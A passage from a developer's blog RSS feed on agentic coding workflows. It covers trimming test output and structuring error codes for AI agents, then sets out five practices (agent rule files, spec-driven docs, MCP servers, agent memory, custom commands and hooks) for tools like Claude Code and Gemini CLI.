#FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;173mpreset-env&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m: No matching package &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; the dependency tree&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; you may not need this rule anymore.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        &apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;::endgroup::&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        &apos;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[94m➤&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[90mYN0000&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m: └ Completed&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        &apos;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[94m➤&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[90mYN0000&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m: ┌ Fetch step&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        &apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;::group::Fetch step&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        &quot;\x1B[91m➤\x1B[39m YN0018: │ \x1B[38;5;173mtypescript\x1B[39m\x1B[38;5;111m@\x1B[39m\x1B[38;5;111mpatch:typescript@npm%3A5.8.3#optional!builtin&amp;#x3C;compat/typescript&gt;::version=5.8.3&amp;#x26;hash=5786d5\x1B[39m: The remote archive doesn&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;t match the expected checksum&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        &apos;::endgroup::\n&apos; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        &quot;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[91m➤&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m YN0018: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;173mtypescript&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;111m@&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;111mpatch:typescript@npm%3A5.8.3#optional&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;builtin&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;compat/typescript&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;::version&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5.8.3&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;hash&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5786d5&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m: The remote archive doesn&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;t match the expected checksum\n&quot; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        &apos;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[94m➤&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[90mYN0000&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m: └ Completed &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; 4s 59ms&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        &apos;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[91m➤&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m YN0000: · Failed with errors &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; 4s 284ms&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      stderr: &apos;&apos;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      failed: true,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      timedOut: false,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      isCanceled: false,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      killed: false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;// and so on&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;// more and more test output here ...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Oh, you think it is theoretical?&lt;/p&gt;
&lt;p&gt;Well then, I invite you to open up the Jest CI for the Node.js sanity, here’s a &lt;a href=&quot;https://github.com/jestjs/jest/actions/runs/16595597178/job/46941351332&quot;&gt;link directly to the GitHub Action run&lt;/a&gt; (if this particular job expires, you can look at another recent run).&lt;/p&gt;
&lt;p&gt;Now imagine that the Jest team wanted to embrace agentic coding workflows and unleash Claude Code on their code base. Even simpler use-case, telling Claude Code to look at the logs on the GitHub Action run, investigate why the tests are failing, and fix the code.&lt;/p&gt;
&lt;p&gt;So let’s fix it and turn something like:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# This could lead to a situation where the context window is filled with test logs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# and the agent struggles to maintain relevant context for the task at hand.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm run &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;test&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Into mitigating it by having tests output a summarized or minimal reported output of the test results, keeping only the necessary context that matters for the agent to continue working on the code base:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# This reduces the amount of context consumed by test logs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm run test:agentic-summarized -- --reporter=summary&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here is a good example of this from the Bun team, optimizing for AX:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/bun-optimizes-for-agent-context-memory.png&quot; alt=&quot;Bun optimizes for agent context memory&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;ai-first-errors&quot;&gt;AI-first errors&lt;/h2&gt;
&lt;p&gt;In a similar way to how we can optimize the context window for AI agents, we can also optimize the agentic execution and its performance by building our applications in a way that provides as much contextual information as necessary to the agent.&lt;/p&gt;
&lt;p&gt;Keep in mind that the AI agent may have access to tools and MCP servers. One of those tools may be a browser agent or a general web page fetch tool that allows it to search the web for information.&lt;/p&gt;
&lt;p&gt;With that in mind, some overall guidance as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If the agent can search the web, then you better be clever about your error messages. Instead of a generic error message like &lt;code&gt;Error: unable to detect input field &apos;dota&apos;&lt;/code&gt; you can use organized error codes such as &lt;code&gt;E273: Input field &apos;dota&apos; not found in the form &apos;create-account&apos;&lt;/code&gt;. This way, the agent can search for &lt;code&gt;E273&lt;/code&gt; and find relevant information about that error code due to search engines indexing it.&lt;/li&gt;
&lt;li&gt;Provide dense contextual information in the error message and co-locate important nuances and relevant information to the error. This way, the agent should be able to extract more information without having to rely on the error data scattered at the beginning of the buffer, the end of the buffer and so on.&lt;/li&gt;
&lt;li&gt;Using structured error messages is likely a way to improve the agent’s ability to parse the error and reason about the underlying issue for it to perform root cause analysis and attempt to fix it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here is an example of such error message as described above:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Error: E273: Input field &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;dota&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; not found &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; the form &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;create-account&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;. Please ensure that the input field exists and is correctly named. If the issue persists, refer to the documentation at https://example.com/docs/errors/E273 &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; troubleshooting steps.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</content:encoded></item><item><title>5 Pillars of Augmented Agentic Software Development</title><link>https://lirantal.com/blog/five-pillars-augmented-agentic-software-development/</link><guid>https://lirantal.com/blog/five-pillars-augmented-agentic-software-development/</guid><description>Explore the 5 pillars of Augmented Agentic Software Development to enhance your AI coding workflows. Learn how to leverage agent system instructions, spec-driven development, MCP servers, and agent memory to get the most out of tools like Gemini CLI and Claude Code.</description><pubDate>Sat, 09 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I’ve been experimenting with several AI coding assistants, today more formally referred to as “agentic coding”, such as Gemini CLI, Claude Code and Cursor as some popular examples. With a growing experience around optimizing for the best results from LLMs for both large and existing code repos as well as greenfield new npm packages, I’ve taken several key pillars that help augment the performance you get out of agentic workflows for software development.&lt;/p&gt;
&lt;p&gt;Following is an outline of these agent-focused pillars:&lt;/p&gt;
&lt;h2 id=&quot;1-the-agent-system-instructions&quot;&gt;1. The Agent system instructions&lt;/h2&gt;
&lt;p&gt;Just as chatbots like ChatGPT have an internal “system prompt” for alignment and grounding of their behavior and scope, so do agentic coding tools.&lt;/p&gt;
&lt;p&gt;Specifically, with regards to CLI coding tools, which have been mostly popular in adoption by developers who seek autonomous execution and are running on the user’s premise, those system prompts are significantly important to steer the type of work you wish to do within software development.&lt;/p&gt;
&lt;p&gt;Originally, they’ve been proposed by other agentic IDEs like Cline (or Roo Code) and Cursor and have been made popular by the latter as “cursorrules”. Now, they’ve been popularized as agent markdown files. I call them Agent MDs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Claude Code uses &lt;code&gt;CLAUDE.md&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Gemini CLI uses &lt;code&gt;GEMINI.md&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;They behave differently but regardless, are great to adopt. For example, Claude Code looks up for &lt;code&gt;CLAUDE.md&lt;/code&gt; file in the current directory where it executes coding tasks and traverses up until it finds one in the project’s root directory (or a user global configuration at the home directory &lt;code&gt;~/&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;How to use those Agent MD files:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Put project general overview in them&lt;/li&gt;
&lt;li&gt;Keep track of design and technical considerations&lt;/li&gt;
&lt;li&gt;Describe services and models in specified directories. For example, if you have a &lt;code&gt;src/services/database&lt;/code&gt; you can put a &lt;code&gt;CLAUDE.md&lt;/code&gt; there that would outline relevant information for any work that the agent will do with your database service. For example, if you don’t want the agent to hallucinate non-existent tables or disallow creating composite primary key on the database level, simply outlines these instructions in the markdown file. This way, you can be very specific in your instructions per the directory structure and avoid a large context outlining these in just one file.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;2-spec-driven-development&quot;&gt;2. Spec-driven development&lt;/h2&gt;
&lt;p&gt;What started as “prompt engineering” has now evolved into “context engineering”.&lt;/p&gt;
&lt;p&gt;Gone are the times where you prompts “build a note taking app” and enter the days of spec-driven development, where you outline high-level product requirements (and may take further steps to provide a design document as well).&lt;/p&gt;
&lt;p&gt;To use the &lt;em&gt;note taking app&lt;/em&gt; example, you’d likely create a &lt;code&gt;docs/&lt;/code&gt; directory that will hold a &lt;code&gt;REQUIREMENTS.md&lt;/code&gt; doc file that will outline information that you’d normally find in a PRD (Product Requirements Document) such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Overview&lt;/li&gt;
&lt;li&gt;Product’s goal&lt;/li&gt;
&lt;li&gt;Product’s dependencies&lt;/li&gt;
&lt;li&gt;Product’s functional requirements&lt;/li&gt;
&lt;li&gt;Use-cases and user acceptance criteria&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here is a real example from a command-line app I’m building called &lt;a href=&quot;https://github.com/lirantal/agent-rules&quot;&gt;agent-rules&lt;/a&gt;:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;- docs/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;   - REQUIREMENTS.md&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;   - DESIGN.md&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;   - PROJECT.md&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/agent-rules-prd.png&quot; alt=&quot;a product requirements document (PRD) for agentic coding assistants&quot;&gt;&lt;/p&gt;
&lt;p&gt;I invite you to also into the code repository and investigate the other docs fully to grab a broader understanding on how to build these.&lt;/p&gt;
&lt;p&gt;Ok so if we’ve made the case for spec-driven development, how to take it forward from here? Here are some tips I have for you to explore:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If you’re working on an existing project with code-base already established, invoke Gemini CLI or Claude Code and prompt them to create one of these documents. Give them examples and references and fine-tune your prompt with what you are looking for.&lt;/li&gt;
&lt;li&gt;As part of your agentic coding workflow, when you finish working on a task, require the agent to update those requirements and/or design documents with the relevant  information from the task so that these documents stay up-to-date resource for the next task.&lt;/li&gt;
&lt;li&gt;Explore AI-native spec-driven development platforms like &lt;a href=&quot;https://tessl.io&quot;&gt;Tessl&lt;/a&gt; which primarily optimize for a high-level guided PRD workflow.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;3-mcp-servers-to-speed-up-and-augment-llms&quot;&gt;3. MCP Servers to speed-up and augment LLMs&lt;/h2&gt;
&lt;p&gt;So everyone have been MCPing and MCPs have become ubiquitous. Whether these are WorkOS’s MCP Night events, or front-and-center talks at AI Engineer conference, and really just so immensely popularized and pushed by Anthropic and other key players in the LLM and agentic workflows space.&lt;/p&gt;
&lt;p&gt;If you’re new to MCPs and need an introduction then I’ll skip it here but will leave you with my prior guides on &lt;a href=&quot;https://snyk.io/articles/what-is-mcp-in-ai-everything-you-wanted-to-ask/&quot;&gt;“What is MCP in AI”&lt;/a&gt; and &lt;a href=&quot;https://snyk.io/articles/a-beginners-guide-to-visually-understanding-mcp-architecture/&quot;&gt;“A Visual Introduction to Understanding MCP”&lt;/a&gt; for you to deep-dive into.&lt;/p&gt;
&lt;p&gt;Alright, back to MCPs with coding agents. LLMs are a great knowledge base but they lack very specific and up-to-date information about libraries you use, or actions you want to perform. This is where MCPs come in handy to really augment the coding agent and I’ve been using the following group of MCPs to really augment the performance:&lt;/p&gt;
&lt;h3 id=&quot;code-research-mcps&quot;&gt;Code research MCPs&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://deepwiki.org&quot;&gt;DeepWiki&lt;/a&gt; is a website that indexes GitHub projects and creates a sort of Deep Research around code repositories.&lt;/p&gt;
&lt;p&gt;If you want to deep-dive into a library, you could read the code, which is… hard to navigate and consume. But DeepWiki create an entire structure out of this, including core component architecture, flow charts, getting started and more.&lt;/p&gt;
&lt;p&gt;A picture is worth 1,000 words, so here is an example from DeepWiki website analyzing my &lt;a href=&quot;https://deepwiki.com/lirantal/npq&quot;&gt;lirantal/npq&lt;/a&gt; project which is about my &lt;a href=&quot;https://github.com/lirantal/npq&quot;&gt;npq&lt;/a&gt; security CLI:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/deepwiki-npq.png&quot; alt=&quot;deepwiki for npq&quot;&gt;&lt;/p&gt;
&lt;p&gt;Other notable code research and library documentation MCPs:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://gitmcp.io&quot;&gt;GitMCP&lt;/a&gt; for on-demand, live and library-specific MCP documentation&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://context7.com&quot;&gt;Context7&lt;/a&gt; which is somewhat similar to GitMCP but GitMCP could be viewed as more secure as it doesn’t pre-index data that could be malicious.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/lirantal/mcp-server-nodejs-api-docs&quot;&gt;Node.js API Docs MCP Server&lt;/a&gt; which is an MCP Server for Node.js API documentation&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;code-vitality-and-security-mcps&quot;&gt;Code vitality and security MCPs&lt;/h3&gt;
&lt;p&gt;LLMs are token hungry and agentic coding assistants are even more so. They’ll read a lot of context and you’ll likely be creating so much more new code and at an unprecedented pace like never before.&lt;/p&gt;
&lt;p&gt;How do you make sure the new GenAI code is up to your standards?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Is the new up to our coding style and standards? Run the ESLint MCP Server (or have an agent rule to always run &lt;code&gt;npm run lint&lt;/code&gt; for example)&lt;/li&gt;
&lt;li&gt;Is the new code free of security vulnerabilities? &lt;a href=&quot;https://docs.snyk.io/integrations/developer-guardrails-for-agentic-workflows/snyk-mcp-installation-configuration-and-startup&quot;&gt;Run the Snyk MCP Server&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/snyk-mcp-server-scan-github-copilot.png&quot; alt=&quot;prompting the agent to scan the code with Snyk&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;web-research-mcps&quot;&gt;Web research MCPs&lt;/h3&gt;
&lt;p&gt;Tired of the context switch between your IDE code and googling, eh, remember those days? :)&lt;/p&gt;
&lt;p&gt;Regardless of the model’s knowledge base you sometimes want to research a topic before you even plan it. Now you can do it with dedicated deep research or search MCPs in the form of Exa and Serper (Google search results).&lt;/p&gt;
&lt;p&gt;Exa, Serper and other MCP services that allow you to search the web right from the agent’s chat window without having to switch back and forth from your browser window to the IDE or terminal.&lt;/p&gt;
&lt;p&gt;In fact, Gemini CLI bakes in a built-in web search capability so if you’re stuck on an error you’ve never seen before you can just search for the error code:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/gemini-cli-websearch.png&quot; alt=&quot;Gemini CLI has a built-in WebSearch tool&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;4-agent-sessions-and-memory&quot;&gt;4. Agent Sessions and Memory&lt;/h2&gt;
&lt;p&gt;Some more advanced traits of augmented development include keeping track of tasks progress which provides insightful and up-to-date context about work on this code repository.&lt;/p&gt;
&lt;p&gt;Why is managing on-going memory useful for agentic coding?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The agent keeps a sort of task-list of its work. It can even manage an actual markdown task list via &lt;code&gt;[ ] Create a database schema&lt;/code&gt; type of tasks and then update them as it goes along.&lt;/li&gt;
&lt;li&gt;Agent memory helps you manage asynchronous work on a code base so you can pause and resume at any time.&lt;/li&gt;
&lt;li&gt;Agent memory is useful to roll back changes or do a time travel visit to prior work.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Some notable examples of using agentic coding memory are the &lt;a href=&quot;https://www.task-master.dev&quot;&gt;Task Master AI&lt;/a&gt; tool, and Philipp Schmidt’s &lt;a href=&quot;https://x.com/_philschmid/status/1940348895575306382&quot;&gt;Plan mode for Gemini CLI&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/gemini-cli-plan-mode.png&quot; alt=&quot;Google&amp;#x27;s Gemini CLI plan mode command by Philipp Schmidt&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;5-agent-commands&quot;&gt;5. Agent Commands&lt;/h2&gt;
&lt;p&gt;Interested in squeezing out the most out of CLI coding agents? Claude Code and Gemini CLI allow you to extend the out-of-the-box CLI behavior with the following (not all features exist in both of these coding agents):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Hooks: for example, before or after editing or reading files, run command &lt;code&gt;x&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Commands: expand the &lt;em&gt;slash commands&lt;/em&gt; with your own.&lt;/li&gt;
&lt;li&gt;BYOM: Bring Your Own MCP allows you to connect MCPs that extent the agent’s capabilities.&lt;/li&gt;
&lt;li&gt;Rules / System prompts: Building your own rules such as the &lt;code&gt;CLAUDE.md&lt;/code&gt; and &lt;code&gt;GEMINI.md&lt;/code&gt; that we’ve described above.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Some of these are even bundled together as full end-to-end extensions that you can enable for the agent.&lt;/p&gt;</content:encoded></item><item><title>Themes to Unlock Agentic Development for Software Engineers</title><link>https://lirantal.com/blog/themes-to-unlock-agentic-development-for-software-engineers/</link><guid>https://lirantal.com/blog/themes-to-unlock-agentic-development-for-software-engineers/</guid><description>Agentic coding assistants in the forms of IDE extensions are becoming increasingly popular among developers but they&apos;re likely just a milestone in the evolution of LLM-powered software engineering which will truly be AI-native. In this article, I want to unpack some AI-centric trends in software development and lean in to the future of what they would translate to in terms of the role of an engineer.</description><pubDate>Fri, 01 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Agentic coding assistants in the forms of IDE extensions are becoming increasingly popular among developers but they’re likely just a milestone in the evolution of LLM-powered software engineering which will truly be AI-native. In this article, I want to unpack some AI-centric trends in software development and lean in to the future of what they would translate to in terms of the role of an engineer.&lt;/p&gt;
&lt;p&gt;The overall themes are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;From IDE to ADE&lt;/li&gt;
